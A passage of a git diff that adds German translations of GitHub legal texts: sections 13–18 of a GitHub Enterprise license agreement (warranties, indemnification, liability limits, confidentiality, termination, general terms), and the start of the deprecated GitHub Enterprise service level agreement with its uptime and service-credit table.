+**13.1** *Beschränkte Softwaregarantien.* GitHub gewährleistet, (i) dass die unveränderte Software zum Zeitpunkt der Bereitstellung zum Herunterladen durch den Kunden keine Schadsoftware, Viren oder Würmer (auch als Computercode oder sonstige Technologien bekannt, die speziell dazu entwickelt werden, Software, Hardware, Computersysteme oder Netzwerke des Kunden zu stören, zu deaktivieren oder zu schädigen) enthält oder überträgt und (ii) dass die unveränderte Software für neunzig (90) Tage ab dem Datum der Bereitstellung zum ersten Herunterladen im Wesentlichen der zugehörigen Dokumentation entspricht. GitHub gewährleistet nicht, dass die Nutzung der Software durch den Kunden unterbrechungsfrei oder der Betrieb der Software fehlerfrei verlaufen wird. Die Garantie nach diesem Abschnitt 13.1 gilt nicht, wenn der Kunde die Software auf eine Art und Weise ändert oder verwendet, die gemäß dieser Vereinbarung und der Dokumentation nicht ausdrücklich gestattet ist. Die einzige Verpflichtung von GitHub und der einzige Abhilfeanspruch des Kunden bei Verletzungen dieser Garantie bestehen nach Wahl und auf Kosten von GitHub darin, (a) die Software zu reparieren, (b) die Software zu ersetzen oder (c) diese Vereinbarung in Bezug auf die fehlerhafte Software zu kündigen und während der jeweiligen Abonnementlaufzeit bereits entrichtete nicht genutzte Gebühren für die fehlerhafte Software zurückzuerstatten.
+
+**13.2** *Garantie für Professional Services.* GitHub gewährleistet gegenüber dem Kunden, dass alle im Rahmen dieser Vereinbarung erbrachten Professional Services auf professionelle und fachmännische Weise von entsprechend qualifiziertem Personal ausgeführt werden. Die einzige Verpflichtung von GitHub und der einzige Abhilfeanspruch des Kunden bei einer Verletzung dieser Garantie bestehen nach Wahl und auf Kosten von GitHub darin, (i) alle Professional Services, die diese Garantie nicht erfüllen, unverzüglich erneut zu erbringen, oder (ii) wenn die Verletzung nicht behoben werden kann, die Leistungsbeschreibung zu kündigen und die nicht genutzten vorausbezahlten Gebühren zurückzuerstatten.
+
+**13.3** *Allgemeine Garantie.* Jede Partei gewährleistet und sichert zu, dass sie die rechtliche Befugnis und Genehmigung hat, diese Vereinbarung abzuschließen, und dass diese Vereinbarung und jedes Bestellformular von einem Mitarbeiter oder Vertreter der Partei abgeschlossen wird, der über die erforderliche Befugnis verfügt, die Partei an die Bestimmungen dieser Vereinbarung zu binden.
+
+**13.4** *Beta-Vorschauen.* Der Kunde kann Beta-Vorschauen nach eigenem Ermessen verwenden. Beta-Vorschauen werden möglicherweise nicht unterstützt und können jederzeit ohne Vorankündigung geändert werden. Beta-Vorschauen sind möglicherweise nicht so zuverlässig oder verfügbar wie die Software. Beta-Vorschauen unterliegen nicht denselben Sicherheitsmaßnahmen, denen die Software unterzogen wurde und wird. GitHub übernimmt keine Haftung für oder im Zusammenhang mit Beta-Vorschauen. **DER KUNDE VERWENDET BETA-VORSCHAUEN AUF EIGENES RISIKO.**
+
+**13.5** *Ausschluss von Garantien.* DIE OBEN BESCHRIEBENEN EINGESCHRÄNKTEN GARANTIEN SIND DIE EINZIGEN GARANTIEN, DIE GITHUB IM HINBLICK AUF DIE SOFTWARE, PROFESSIONAL SERVICES UND DEN SUPPORT GIBT. GITHUB GIBT KEINE WEITEREN GARANTIEN ODER ZUSICHERUNGEN JEGLICHER ART UND SCHLIESST HIERMIT AUSDRÜCKLICH ALLE SONSTIGEN AUSDRÜCKLICHEN, KONKLUDENTEN ODER GESETZLICHEN GARANTIEN AUS, UNTER ANDEREM GARANTIEN DER HANDELSÜBLICHKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK, DER NICHTVERLETZUNG VON RECHTEN UND GARANTIEN ODER BESTIMMUNGEN INFOLGE VON GESCHÄFTSBEZIEHUNG ODER HANDELSBRAUCH. VON GITHUB ODER ANDERER STELLE BEREITGESTELLTE SCHRIFTLICHE ODER MÜNDLICHE EMPFEHLUNGEN ODER INFORMATIONEN BILDEN KEINERLEI GARANTIEN ODER BESTIMMUNGEN, DIE IN DIESER VEREINBARUNG NICHT AUSDRÜCKLICH GENANNT WERDEN.
+
+**14. Verteidigung gegen Ansprüche, Freistellung.**
+
+Die Parteien verteidigen einander gegen die in diesem Abschnitt 14 beschriebenen Ansprüche Dritter im beschriebenen Umfang und zahlen die Summe eines resultierenden rechtskräftigen Urteils oder genehmigten Vergleichs, vorausgesetzt, die verteidigende Partei wird über den Anspruch umgehend schriftlich informiert und ist berechtigt, die Verteidigung zu übernehmen und einen etwaigen Vergleich herbeizuführen. Die verteidigte Partei muss der verteidigenden Partei alle angeforderten Hilfestellungen, Informationen und Vollmachten zur Verfügung stellen. Die verteidigende Partei wird der anderen Partei angemessene Auslagen erstatten, die ihr bei der Bereitstellung von Unterstützung entstehen, und ohne die vorherige schriftliche Zustimmung der anderen Partei, die nicht unangemessen zurückgehalten oder verzögert werden darf, keine Vergleiche fällen oder Zugeständnisse in Bezug auf eine Forderung eines Dritten machen. In diesem Abschnitt 14 sind die einzigen Abhilfen und die gesamte Haftung bezüglich derartiger Ansprüche beschrieben.
+
+**14.1** *GitHub.* GitHub verteidigt den Kunden gegen alle Ansprüche nicht verbundener Dritter, soweit darin behauptet wird, dass die autorisierte Nutzung der Software durch den Kunden ein Urheberrecht, ein Patent oder eine Marke verletzt oder ein Geschäftsgeheimnis eines nicht verbundenen Dritten missbraucht. Wenn GitHub die Regulierung eines solchen Anspruchs zu wirtschaftlich vertretbaren Bedingungen nicht möglich ist, kann GitHub nach eigener Wahl entweder (a) die Software modifizieren, reparieren oder ersetzen (falls zutreffend) oder (b) das Abonnement des Kunden kündigen und alle vorausbezahlten, nicht genutzten Abonnementgebühren zurückerstatten. GitHub entstehen gemäß diesem Abschnitt 14.1 keine Verpflichtungen bei Ansprüchen, die sich aus Folgendem ergeben: (i) Änderung der Software oder Kombination, Betrieb oder Nutzung der Software mit Ausrüstung, Geräten, Software, Systemen oder Daten, die nicht ausdrücklich durch diese Vereinbarung (einschließlich der Dokumentation) genehmigt wurden, (ii) Versäumnis des Kunden, die Nutzung der Software einzustellen, nachdem er eine entsprechende Benachrichtigung erhalten hat, (iii) Verpflichtungen des Kunden gemäß Abschnitt 14.2, (iv) Produkte oder Dienste (einschließlich der Nutzung der Software), die von GitHub kostenlos bereitgestellt werden, oder (v) dem Zugriff auf oder der Nutzung von Beta-Vorschauen. Im Sinne der Verpflichtung von GitHub gemäß diesem Abschnitt 14.1 enthält die Software Open-Source-Komponenten, die von GitHub in die Software integriert wurden.
+
+**14.2** *Kunde.* Der Kunde verteidigt GitHub gegen alle Ansprüche nicht verbundener Dritter, die sich aus Folgendem ergeben: (i) Kundeninhalte, die der Kunde in die Software hochlädt, (ii) Verstoß des Kunden gegen diese Vereinbarung, einschließlich Verletzung der Vertraulichkeit durch den Kunden, (iii) vom Kunden an der Software vorgenommene Änderungen oder (iv) Ausrüstung, Geräte, Software, Systeme oder Daten von Dritten, die der Kunde mit der Software kombiniert, betreibt oder verwendet.
+
+**15. HAFTUNGSBESCHRÄNKUNG.**
+
+**15.1** *Keine indirekten Schäden.* SOWEIT NACH ANWENDBAREM RECHT ZULÄSSIG, HAFTET KEINE DER PARTEIEN GEGENÜBER DER ANDEREN PARTEI ODER DRITTEN FÜR INDIREKTE, BESONDERE, ZUFÄLLIGE, STRAF- ODER FOLGESCHÄDEN (EINSCHLIESSLICH ENTGANGENER GEWINNE, EINNAHMEN ODER DATEN) ODER FÜR DIE KOSTEN FÜR DIE BESCHAFFUNG VON ERSATZPRODUKTEN, DIE SICH AUS ODER IM ZUSAMMENHANG MIT DIESER VEREINBARUNG ERGEBEN, WIE AUCH IMMER VERURSACHT, UNABHÄNGIG DAVON, OB SICH DIESE HAFTUNG AUS EINEM ANSPRUCH AUS VERTRAG, GEWÄHRLEISTUNG, UNERLAUBTER HANDLUNG (EINSCHLIESSLICH FAHRLÄSSIGKEIT), VERSCHULDENSUNABHÄNGIGER HAFTUNG ODER ANDERWEITIG ERGIBT UND OB ODER NICHT EINE PARTEI AUF DIE MÖGLICHKEIT SOLCHER SCHÄDEN HINGEWIESEN WURDE.
+
+**15.2** *Beschränkung der Gesamthaftung.* SOWEIT NACH ANWENDBAREM RECHT ZULÄSSIG, ÜBERSTEIGT DIE KUMULIERTE GESAMTHAFTUNG EINER DER PARTEIEN IM RAHMEN DIESER VEREINBARUNG AUS ALLEN KLAGEGRÜNDEN UND ALLEN HAFTUNGSTHEORIEN IN KEINEM FALL DIE GEBÜHREN, DIE DER KUNDE GITHUB IN DEN 12 MONATEN VOR DER ENTSTEHUNG DIESES ANSPRUCHS TATSÄCHLICH GEZAHLT HAT. FÜR PRODUKTE UND DIENSTE, DIE KOSTENLOS BEREITGESTELLT WERDEN, IST DIE HAFTUNG VON GITHUB AUF DIREKTE SCHÄDEN BIS ZU 5.000,00 USD BESCHRÄNKT.  FÜR BETA-VORSCHAUEN IST DIE HAFTUNG VON GITHUB AUF DIREKTE SCHÄDEN BIS ZU 500,00 USD BESCHRÄNKT.
+
+**15.3** *Ausschlüsse.* Die in diesem Abschnitt 15 dargelegten Ausschlüsse und Beschränkungen gelten nicht für die Haftung, die sich aus (1) der Nichteinhaltung der Bestimmungen für die Lizenzgewährung oder der Lizenzbeschränkungen in den Abschnitten 2 und 3 durch den Kunden, (2) den Verteidigungspflichten einer Partei in Abschnitt 14 oder (c) einer Verletzung der Vertraulichkeitsverpflichtungen einer Partei in Abschnitt 16 ergibt.
+
+**16. Vertraulichkeit.**
+
+**16.1** *Definition vertraulicher Informationen.* Für die Zwecke dieser Vereinbarung bezeichnen „vertrauliche Informationen“ alle geschäftlichen oder technischen Informationen, die eine Partei der anderen Partei schriftlich, mündlich oder mit anderen Mitteln offenlegt, einschließlich der Offenlegung von Computerprogrammen, Code, Algorithmen, Daten, Know-how, Formeln, Prozessen, Ideen, Erfindungen (unabhängig davon, ob sie patentfähig sind oder nicht), Schaltplänen und anderen technischen, geschäftlichen oder finanziellen Plänen und Produktentwicklungsplänen, Namen und Fachwissen von Mitarbeitern und Beratern sowie Kundenlisten. Soweit in Abschnitt 2.1 nicht ausdrücklich anderweitig festgelegt, gilt der Quellcode der Software für die Zwecke dieser Vereinbarung als vertrauliche Informationen von GitHub, unabhängig davon, ob er als solche gekennzeichnet ist.
+
+**16.2** *Nutzungs- und Offenlegungsbeschränkungen.* Keine der Parteien wird die Vertraulichen Informationen der anderen Partei verwenden, es sei denn, dies ist gemäß dieser Vereinbarung gestattet. Jede Partei verpflichtet sich, die vertraulichen Informationen der anderen Partei vertraulich zu behandeln und zu schützen, indem sie mindestens das gleiche Maß an Sorgfalt anwendet, das sie für ihre eigenen Informationen ähnlicher Art anwendet, aber in jedem Fall mindestens ein angemessenes Maß an Sorgfalt. Jede Partei erklärt sich damit einverstanden, alle angemessenen Vorkehrungen zu treffen, um eine unbefugte Offenlegung der vertraulichen Informationen der anderen Partei zu verhindern, einschließlich, aber nicht beschränkt auf die Offenlegung vertraulicher Informationen nur gegenüber ihren Mitarbeitern, unabhängigen Vertragspartnern, Beratern sowie Rechts- und Finanzberatern (zusammenfassend „Vertreter“), die (i) diese Informationen kennen müssen, (ii) Parteien von entsprechenden Vereinbarungen sind, die ausreichen, um diesem Abschnitt 16 zu entsprechen, und (iii) über die in diesem Abschnitt 16 festgelegten Offenlegungsbeschränkungen informiert sind. Die Parteien haften jeweils für alle Handlungen und Unterlassungen ihrer Mitarbeiter. Die vorstehenden Verpflichtungen hindern keine der Parteien daran, vertrauliche Informationen der anderen Partei gemäß der Anordnung oder Anforderung eines Gerichts, einer Verwaltungsbehörde oder einer anderen Regierungsbehörde offenzulegen, vorausgesetzt, dass die Partei, die zu einer solchen Offenlegung verpflichtet ist, die andere Partei angemessen benachrichtigt, damit sie die Anordnung oder Anforderung anfechten kann. Die in diesem Abschnitt 16 dargelegten Beschränkungen gelten auch nach Kündigung oder Ablauf dieser Vereinbarung.
+
+**16.3** *Ausschlüsse.* Die in Abschnitt 16.2 festgelegten Beschränkungen gelten nicht für vertrauliche Informationen, die (i) ohne Verschulden der empfangenden Partei öffentlich bekannt waren oder werden, (ii) der empfangenden Partei ohne Vertraulichkeits- oder Eigentumsbeschränkung aus einer anderen Quelle als der offenlegenden Partei, die zur Offenlegung berechtigt ist, rechtmäßig bekannt waren oder bekannt werden, (iii) von der offenlegenden Partei zur uneingeschränkten Offenlegung in einem schriftlichen Dokument genehmigt wurden, das von einem ordnungsgemäß bevollmächtigten leitenden Angestellten dieser offenlegenden Partei unterzeichnet ist, oder (iv) die empfangende Partei unabhängig entwickelt, ohne auf die vertraulichen Informationen der anderen Partei zuzugreifen oder diese zu verwenden.
+
+**17. Laufzeit und Kündigung.**
+
+**17.1** *Laufzeit der* *Vereinbarung.* Die Laufzeit dieser Vereinbarung beginnt am Wirksamkeitsdatum und endet, wenn die Vereinbarung durch eine der Parteien nach diesem Abschnitt 17 gekündigt wird. Wenn diese Vereinbarung vor dem Ablauf oder der Beendigung einer Abonnementlaufzeit gekündigt wird, bleiben alle aktiven Bestellformulare gemäß den Bestimmungen dieser Vereinbarung in Kraft.
+
+**17.2** *Ordentliche Kündigung.* Jede Partei kann ein Bestellformular mit schriftlicher Mitteilung ohne Angabe von Gründen mit einer Frist von dreißig (30) Tagen zum Ende der jeweiligen Abonnementlaufzeit kündigen.
+
+**17.3** *Kündigung aufgrund wesentlicher Verletzung.* Jede Partei kann diese Vereinbarung mit sofortiger Wirkung kündigen, wenn die andere Partei gegen eine wesentliche Verpflichtung aus dieser Vereinbarung verstößt und die Verletzung nicht innerhalb von dreißig (30) Tagen nach Erhalt der Benachrichtigung behebt. Jeder Partei bleibt das Recht vorbehalten, diese Vereinbarung fristlos mit schriftlicher Mitteilung ohne Nacherfüllungsfrist zu kündigen, wenn der Kunde Bestimmungen dieser Vereinbarung zum geistigen Eigentum von GitHub verletzt (unter anderem Nichteinhaltung der Bestimmungen für die Lizenzgewährung oder der Lizenzbeschränkungen durch den Kunden) oder eine Partei ihre Geheimhaltungspflichten bezüglich der vertraulichen Informationen der anderen Partei verletzt.
+
+**17.4** *Wirkung von Kündigung, Fortgeltung.* Nach Kündigung oder Ablauf dieser Vereinbarung kann der Kunde keine weiteren Bestellformulare einreichen. Die Vereinbarung bleibt jedoch für alle ggf. aktiven Bestellformulare in vollem Umfang in Kraft. Wenn ein Bestellformular gekündigt wird oder abläuft, gilt für das betreffende Bestellformular Folgendes: (i) Die Abonnementlaufzeit für jede Software endet mit sofortiger Wirkung. (ii) Der Kunde ist nicht länger zur Nutzung der Software berechtigt, und alle Abonnementlizenzen im Bestellformular verlieren automatisch am Tag der Kündigung bzw. des Ablaufs ihre Gültigkeit. (iii) Schuldet der Kunde vor der Kündigung Gebühren, sind diese mit sofortiger Fälligkeit zahlbar. (iv) Der Kunde muss sämtliche Kopien der Software in seinem Besitz oder unter seiner Kontrolle vernichten und GitHub dies schriftlich bestätigen. (v) Jede Partei gibt umgehend sämtliche vertraulichen Informationen der anderen Partei zurück (oder vernichtet diese auf Anfrage der anderen Partei). Der Kunde kann ungeachtet des Vorstehenden nach der Kündigung oder dem Ablauf dieser Vereinbarung oder eines Bestellformulars für neunzig (90) Tage zu Migrationszwecken weiterhin auf die Software zugreifen. Der Kunde darf die Software in diesem Zeitraum jedoch nicht zu Produktionszwecken nutzen. Alle Bestimmungen oder Abschnitte, die aufgrund ihrer Art billigerweise gültig bleiben sollten, bleiben nach Kündigung oder Ablauf dieser Vereinbarung oder eines Bestellformulars gültig.
+
+**18. Allgemeine Bestimmungen.**
+
+**18.1** *Einhaltung von Gesetzen und Regelungen.* Der Kunde hält bei der Nutzung der Produkte alle anwendbaren Gesetze und Regelungen ein, insbesondere Datenschutz- und Arbeitsgesetze und -regelungen.
+
+**18.2** *Datenschutzrechtliche Aspekte bei der Nutzung von GitHub Insights and Learning Lab for Enterprise Server.* Wenn die geplante Nutzung von GitHub Insights oder Learning Lab for Enterprise Server durch den Kunden die Verarbeitung personenbezogener Daten beinhaltet, ist der Kunde allein dafür verantwortlich, zu entscheiden, ob er eine Analyse der Auswirkungen auf den Datenschutz durchführt oder anderweitig eine formale rechtliche Analyse der geplanten Nutzung vornimmt. Es liegt im alleinigen Ermessen des Kunden, ob er GitHub Insights oder Learning Lab for Enterprise Server zur Verarbeitung der Daten seiner Mitarbeiter und/oder Benutzer verwendet, und der Kunde ist allein dafür verantwortlich, diese Verarbeitung in Übereinstimmung mit dem anwendbaren Recht durchzuführen.
+
+**18.3** *Anwendbares Recht, Gerichtsstand.* Für Kunden mit Wohnsitz in Nordamerika, Kanada, Mexiko oder einem Land in Mittel- oder Südamerika oder der Karibik („Amerika“) unterliegt diese Vereinbarung den Gesetzen des Bundesstaates Kalifornien und wird nach diesen ausgelegt, als ob er vollständig innerhalb des Bundesstaates ausgeführt würde, ohne dass die Grundsätze bezüglich möglicher rechtlicher Widersprüche zur Anwendung kommen. Für diese Kunden werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Bundes- oder Staatsgerichten im Northern District of California verhandelt, und die Parteien stimmen hiermit den persönlichen gerichtlichen Zuständigkeiten und dem dortigen Gerichtsstand zu. Wenn sich der Hauptsitz des Kunden außerhalb Amerikas befindet, unterliegt diese Vereinbarung den Gesetzen von Irland, werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Gerichten in Dublin verhandelt und stimmen die Parteien hiermit der persönlichen Gerichtsbarkeit und dem dortigen Gerichtsstand zu. Die Parteien vereinbaren ausdrücklich, dass das Übereinkommen der Vereinten Nationen über Verträge über den internationalen Warenkauf und der Uniform Computer Information Transactions Act auf diese Vereinbarung keine Anwendung finden. Ungeachtet des Vorstehenden kann GitHub bei jedem Gericht mit angemessenen gerichtlichen Zuständigkeiten einen Anspruch auf billigkeitsrechtlichen Rechtsschutz geltend machen.
+
+**18.4** *Nutzung durch Behörden.* Die Produkte und die Dokumentation wurden ausschließlich mit privaten Mitteln entwickelt und gelten nach Federal Acquisition Regulation 12.212 und 27.405-3 und Defense Federal Acquisition Regulation Supplement 227.7202-3 als gewerbliche Computersoftware („Commercial Computer Software“) und Dokumentation für gewerbliche Computersoftware („Commercial Computer Software Documentation“). Die Produkte werden als beschränkte Computersoftware und Daten mit beschränkten Rechten für die Endbenutzer der US-Behörden lizenziert. Im Rahmen dieser Vereinbarung werden keine technischen Daten oder Computersoftware entwickelt. Für die Verwendung, Offenlegung, Änderung, Verbreitung oder Vervielfältigung der Produkte oder der Dokumentation durch die US-Behörden oder ihre Auftragnehmer gelten die in dieser Vereinbarung festgelegten Beschränkungen. Jede andere Verwendung ist untersagt.
+
+**18.5** *Export.* Für die Produkte gelten Export- und Sanktionsbeschränkungen der USA sowie Importbeschränkungen bestimmter anderer Länder, und der Kunde hält bei der Nutzung der Produkte alle anwendbaren Export- und Importgesetze und -regelungen ein. Der Kunde darf keine Teile der Produkte oder direkte Ergebnisse davon aus den USA an folgende Ziele entfernen oder exportieren oder einen entsprechenden Export oder Reexport gestatten und Entsprechendes auch keinem Dritten gestatten: (i) in Länder oder Gebiete, die einem Embargo unterliegen oder Terrorismus fördern (oder an deren Staatsbürger oder Einwohner), (ii) an Personen, die in der „Entity List“ oder „Table of Denial Orders“ des US-Handelsministeriums geführt werden, die gemäß den Vorschriften des US Office of Foreign Assets Control gesperrt sind (einschließlich aller Personen auf der „Specially Designated Nationals List“ oder staatlicher Stellen von sanktionierten Ländern) oder die in anderen relevanten Listen von Personen geführt werden, für die Verbote oder Sanktionen gelten, (iii) in Länder oder Gebiete, in die ein entsprechender Export oder Reexport beschränkt oder verboten ist oder für die die USA oder ihre Behörden zum Zeitpunkt des Exports oder Reexport eine Exportgenehmigung oder eine andere behördliche Genehmigung verlangen, ohne dass vorher eine entsprechende Genehmigung erteilt wurde, oder (iv) an Ziele, bei denen der Export oder Reexport oder Import einen anderweitigen Verstoß gegen Exportbeschränkungen, Sanktionen oder Importbeschränkungen, -gesetze oder -regelungen von Behörden der USA oder eines anderen Landes darstellt. Der Kunde sichert zu und gewährleistet, dass er sich nicht in einem solchen verbotenen Land oder Gebiet befindet oder durch einen Staatsbürger oder Einwohner eines solchen Landes oder Gebiets oder eine auf einer Liste verbotener Personen geführten Person kontrolliert wird. GitHub Enterprise Server ist eine selbst gehostete virtuelle Appliance, die im Rechenzentrum des Kunden oder in seiner Virtual Private Cloud ausgeführt werden kann. Als solches kann GitHub Enterprise Server zum Speichern von ITAR-Informationen oder anderen Informationen, die der Exportkontrolle unterliegen, verwendet werden. Der Kunde ist jedoch dafür verantwortlich, die Einhaltung der Bestimmungen sicherzustellen. Der Kunde erkennt an und akzeptiert, dass die Produkte ohne vorhergehende erforderliche Genehmigung durch die US-Behörden nicht für die Konzeption oder Entwicklung atomarer, chemischer oder biologischer Waffen oder Trägertechnologien verwendet werden dürfen.
+
+**18.6** *Keine ungenehmigte Werbung.* GitHub kann den Kunden gegenüber Bestandskunden und Interessenten als Kunden nennen. Ohne Genehmigung durch den Kunden darf GitHub den Namen oder das Logo des Kunden jedoch nicht in Werbe- oder Marketingmaterialien verwenden.
+
+**18.7** *Abtretung.* Keine Partei darf diese Vereinbarung ganz oder teilweise ohne die vorherige schriftliche Zustimmung der anderen Partei abtreten oder anderweitig übertragen, wobei diese Zustimmung nicht unangemessen verweigert werden darf, und jeder Versuch, dies zu tun, ist null und nichtig, mit der Ausnahme, dass GitHub diese Vereinbarung in ihrer Gesamtheit nach Mitteilung an die andere Partei, aber ohne Zustimmung der anderen Partei, im Zusammenhang mit einer Fusion, einem Erwerb, einer Unternehmensumstrukturierung oder einem Verkauf aller oder im Wesentlichen aller Geschäfte oder Vermögenswerte der übertragenden Partei abtreten darf.
+
+**18.8** *Mitteilungen.* Sofern in dieser Vereinbarung nicht anders festgelegt, müssen alle Mitteilungen, Anfragen und Aufforderungen und sämtliche sonstige Kommunikation im Zusammenhang mit dieser Vereinbarung schriftlich erfolgen (wobei E-Mails akzeptabel sind) und auf diese Vereinbarung verweisen. Sie gelten als ordnungsgemäß zugestellt: (i) bei persönlicher Zustellung mit Empfang, (ii) bei E-Mails einen (1) Werktag nach der Empfangsbestätigung durch den vorgesehenen Empfänger, (iii) bei Einschreiben mit schriftlicher Empfangsbestätigung und E-Mail fünf (5) Werktage nach dem Versand oder (iv) bei Übergabe an einen international anerkannten Kurierdienst mit schriftlicher Empfangsbestätigung und E-Mail drei (3) Werktage nach Übergabe an den Kurierdienst. Sofern eine Partei der anderen keine Adressänderung mitteilt, können Mitteilungen an die in dieser Vereinbarung angegebenen Adressen gesendet werden.
+
+**18.9** *Höhere Gewalt.* GitHub wird von der Haftung befreit, soweit es aus außergewöhnlichen Gründen, die sich seiner angemessenen Kontrolle entziehen, einschließlich höherer Gewalt, Naturkatastrophen, Streiks, Aussperrungen, Unruhen, Kriegshandlungen, Epidemien oder Strom-, Telekommunikations- oder Netzwerkausfällen.
+
+**18.10** *Unabhängige Vertragspartner.* Die Parteien sind in Bezug auf den Gegenstand dieser Vereinbarung unabhängige Vertragspartner. Nichts in dieser Vereinbarung wird in irgendeiner Weise so ausgelegt oder ausgelegt, dass es eine rechtliche Vereinigung, Partnerschaft, ein Joint Venture, ein Beschäftigungs-, Vertretungs-, Treuhand- oder ein anderes ähnliches Verhältnis zwischen den Parteien begründet, und keine der Parteien kann die andere vertraglich binden.
+
+**18.11** *Verzicht.* Ein Verzicht auf Verpflichtungen einer Partei gemäß dieser Vereinbarung bedarf der Schriftform, muss von einem bevollmächtigten Vertreter der anderen Partei unterzeichnet werden und gilt nur im Hinblick auf die beschriebene spezifische Verpflichtung. Ein Versäumnis oder eine Verspätung durch eine Partei dieser Vereinbarung bei der Ausübung eines Rechts aus dieser Vereinbarung gilt weder als Verzicht darauf, noch schließt eine einzelne oder teilweise Ausübung davon eine andere oder weitere Ausübung davon oder die Ausübung eines Rechts aus dieser Vereinbarung nach Gesetz oder Billigkeit aus.
+
+**18.12** *Gesamter Vertrag.* Diese Vereinbarung, einschließlich der einzelnen Bestellformulare und Leistungsbeschreibungen, stellt den gesamten Vertrag zwischen den Parteien zum Vertragsgegenstand dar und hat Vorrang vor allen vorhergehenden oder gleichzeitigen mündlichen und schriftlichen Abreden und Vereinbarungen der Parteien in Bezug auf den Vertragsgegenstand. Bestimmungen in Bestellungen, schriftliche Bestimmungen oder sonstige Dokumente, die der Kunde GitHub übermittelt und die Bestimmungen enthalten, die von den Bestimmungen dieser Vereinbarung, einer Leistungsbeschreibung oder eines Bestellformulars abweichen, diesen widersprechen oder über sie hinausgehen, sind ungültig und unwirksam.
+
+**18.13** *Zusatzvereinbarungen, Vorrang.* GitHub behält sich das Recht vor, diese Vereinbarung jederzeit zu ändern, und aktualisiert die Bestimmungen dieser Vereinbarung im Falle solcher Zusatzvereinbarungen. Änderungen dieser Vereinbarung werden zum Verlängerungsdatum der jeweiligen Abonnementlaufzeit des Kunden wirksam. Im Falle eines Widerspruchs zwischen dieser Vereinbarung und einem Bestellformular gilt ein Bestellformular nur in Bezug auf die jeweilige Bestellung. Diese Vereinbarung und alle Nachträge, einschließlich eines Bestellformulars, haben Vorrang. Modifikationen, Änderungen oder Zusatzvereinbarungen dieser Vereinbarung sind nur dann für die Parteien bindend oder haben nur Vorrang vor den Bestimmungen dieser Vereinbarung, wenn sie in schriftlicher Form erfolgen und ordnungsgemäß von den autorisierten Vertretern beider Parteien unterzeichnet sind.
+
+**18.14** *Salvatorische Klausel.* Wenn eine Bestimmung dieser Vereinbarung von einem zuständigen Gericht als rechtswidrig, ungültig oder nicht durchsetzbar erachtet wird, ändert oder reformiert das Gericht diese Vereinbarung, um dieser Bestimmung so viel Wirkung wie möglich zu verleihen. Jede Bestimmung, die auf diese Weise nicht geändert oder reformiert werden kann, gilt als gelöscht und die verbleibenden Bestimmungen dieser Vereinbarung bleiben in vollem Umfang in Kraft und wirksam.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md
new file mode 100644
index 0000000000..299d12a03e
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md
@@ -0,0 +1,41 @@
+---
+title: GitHub Enterprise-Vereinbarung zum Servicelevel (SLA)
+hidden: true
+redirect_from:
+  - /github-enterprise-cloud-addendum
+  - /github-business-cloud-addendum
+  - /articles/github-enterprise-cloud-addendum
+  - /github/site-policy/github-enterprise-service-level-agreement
+  - /github/site-policy-deprecated/github-enterprise-cloud-addendum
+versions:
+  fpt: '*'
+ms.openlocfilehash: e21816ada1c6b6d3062cecb5d4f0144702ea0f8e
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099281'
+---
+_Diese Bestimmungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+**Kurzfassung:** GitHub garantiert eine vierteljährliche Uptime von 99,9 % für den entsprechenden GitHub-Dienst (der „**Servicelevel**“ oder die „**SLA**“, Service Level Agreement). Wenn GitHub die SLA nicht erfüllt, hat der Kunde Anspruch auf eine Servicegutschrift auf ein Konto des Kunden („**Servicegutschriften**“).
+
+Definitionen der einzelnen Dienstfunktionen („**Dienstfunktion**“) sowie historische und aktuelle Informationen zur Uptime finden Sie auf der [GitHub-Statusseite](https://www.githubstatus.com/). Für Begriffe, die in dieser SLA verwendet, aber nicht definiert werden, gelten die in der entsprechenden Vereinbarung des Kunden festgelegten Bedeutungen.
+
+## Uptimegarantie
+
+„**Uptime**“ ist der Prozentsatz der möglichen Gesamtzahl von Minuten, in dem der entsprechende GitHub-Dienst in einem gegebenen Kalenderquartal verfügbar war. GitHub verpflichtet sich, mindestens 99,9 % Uptime für den entsprechenden GitHub-Dienst aufrechtzuerhalten. Die Berechnung der Uptime für die einzelnen Dienstfunktionen, die im entsprechenden GitHub-Dienst enthalten sein können, wird im Folgenden beschrieben („**Berechnung der Uptime**“). Wenn GitHub die SLA nicht erfüllt, hat der Kunde basierend auf der unten stehenden Berechnung Anspruch auf Servicegutschriften („**Berechnung der Servicegutschriften**“). Hinweis: Downtimes wirken sich nicht auf jeden Kunden gleichzeitig oder auf die gleiche Weise aus.
+
+| **Dienstfunktion** | **Berechnung der Uptime** | **Definitionen** | **Berechnung der Servicegutschriften** |
+|---|---|---|---|
+| **Issues**,<br>**Pull&nbsp;Requests**,<br>**Git&nbsp;-Vorgänge**,<br>**API&nbsp;-Anforderungen (nur für Dienstfunktionen)** ,<br>**Webhooks**,<br>**Seiten** | (Gesamtzahl von Minuten in einem Kalenderquartal - Downtime) / Gesamtzahl von Minuten in einem Kalenderquartal | Eine „**Downtime**“ ist ein Zeitraum, in dem (a) die Fehlerrate für eine Dienstfunktion in einer gegebenen Minute fünf Prozent (5 %) übersteigt oder (b) der Dienst internen und externen Überwachungssystemen von GitHub zufolge nicht verfügbar war. | Ein Anspruch auf eine Servicegutschrift kann auf einer der folgenden Berechnungen beruhen (nicht auf beiden): <ul><li>10 % des Betrags, den der Kunde für eine Dienstfunktion in einem Kalenderquartal bezahlt hat, in dem die Uptime dieser Dienstfunktion unter 99,9 %, aber über 99,0 % lag <BR><BR>oder <BR><BR></li><li>25 % des Betrags, den der Kunde für eine Dienstfunktion in einem Kalenderquartal bezahlt hat, in dem die Uptime dieser Dienstfunktion unter 99,0 % lag</li></ul> | |
